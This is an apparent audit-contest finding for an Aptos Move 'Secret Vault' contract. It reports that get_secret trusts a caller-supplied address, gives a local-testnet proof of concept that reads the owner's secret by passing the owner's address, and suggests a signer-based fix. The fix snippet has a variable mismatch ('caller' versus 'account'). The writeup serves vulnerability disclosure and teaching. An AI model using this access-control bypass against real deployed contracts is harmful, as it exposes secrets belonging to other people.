Secret Vault on Aptos

First Flight #46
Beginner FriendlyWallet
100 EXP
View results
Submission Details
Severity: high
Valid

H-2 Function `secret_vault::get_secret` does not implement proper access control, hence anyone can view the secret

Description

Function secret_vault::get_secret does not implement proper access control for only the owner. The function accepts a caller: address parameter and checks if caller == @owner, but this parameter can be controlled by anyone calling the function.

@> public fun get_secret (caller: address):String acquires Vault{
@> assert! (caller == @owner,NOT_OWNER);

Risk

High

Likelihood: High

  • Reason: This function can be called by anyone, bypassing the assert statement and read the secret.

Impact: High

  • Impact: The secret is not accessible only from the owner but from any user that calls this function.

Proof of Concept

The below test case shows that anyone can read the secret by calling the secret_vault::get_secret function

  1. Start a local Aptos node in a separate terminal

aptos node run-local-testnet --with-faucet
  1. Initialize an account

aptos init --profile local --network local

it returns

Account: `2c2cd5bea3ef1a31f1c461045921493b95c3e8cd4476f8fd6a60d691e2e2dd76` created
  1. In the Move.toml file replace the secret_vault entry under [dev-addresses] with the address found in account under profile local (from .aptos/config.yaml). It is the same address created in the previous step.

  2. Initialize a second account

aptos init --profile domi --network local

it returns

Account: `27c841036ad387cda27cceb7e9014e57653f6b1f6986df2c824a210de7332110` created
  1. In the Move.toml file replace the owner entry under [dev-addresses] with the address found in account under profile domi (from .aptos/config.yaml). It is the same address created in the previous step.

  2. Deploy in --dev

aptos move publish --profile local --dev

it should return something similar as shown below:

{
"Result": {
"transaction_hash": "0xe2a8e1f421ca790ea7d42a86c1b0091171e12b8b7aad16d1c46f2ab4648ac8be",
"gas_used": 2090,
"gas_unit_price": 100,
"sender": "2c2cd5bea3ef1a31f1c461045921493b95c3e8cd4476f8fd6a60d691e2e2dd76",
"sequence_number": 0,
"replay_protector": {
"SequenceNumber": 0
},
"success": true,
"timestamp_us": 1755584419589578,
"version": 14640,
"vm_status": "Executed successfully"
}
}
  1. Submit a transaction to set a secret

aptos move run --function-id 2c2cd5bea3ef1a31f1c461045921493b95c3e8cd4476f8fd6a60d691e2e2dd76::vault::set_secret --args hex:68656c6c6f --url http://127.0.0.1:8080 --private-key PRIVATE_KEY_OF_ACCOUNT_2c2cd5bea3ef1a31f1c461045921493b95c3e8cd4476f8fd6a60d691e2e2dd76

Note: Referred to documentation to find the correct syntax for this.

it returns a transaction hash

{
"Result": {
"transaction_hash": "0x68d3a8ec3185fd5f3dc50ae238d956e2fe3473e9f9bf0719260580f5d5a3c71b",
"gas_used": 437,
"gas_unit_price": 100,
"sender": "2c2cd5bea3ef1a31f1c461045921493b95c3e8cd4476f8fd6a60d691e2e2dd76",
"sequence_number": 1,
"replay_protector": {
"SequenceNumber": 1
},
"success": true,
"timestamp_us": 1755584793062672,
"version": 14937,
"vm_status": "Executed successfully"
}
}
  1. Call vault::get_secret function

aptos move view --function-id 2c2cd5bea3ef1a31f1c461045921493b95c3e8cd4476f8fd6a60d691e2e2dd76::vault::get_secret --args address:27c841036ad387cda27cceb7e9014e57653f6b1f6986df2c824a210de7332110 --url http://127.0.0.1:8080

Note: Referred to the documentation provided by the local running node, http://127.0.0.1:8080/v1/spec#/operations/get_transaction_by_hash, to see the syntax of this request.

It returns the value hello which is the corresponding string of the hex value 68656c6c6f that the owner set as the secret:

{
"Result": [
"hello"
]
}

Recommended Mitigation

In the function secret_vault::get_secret we need to pass the signer as a parameter and then use the address_of to derive its address as shown below:

@> public fun get_secret(caller: &signer): String acquires Vault {
@> let caller = signer::address_of(account);

Then this will only give access to the owner and the assert will work as expected.

Updates

Lead Judging Commences

bube Lead Judge 15 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of signer check in `get_secret`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.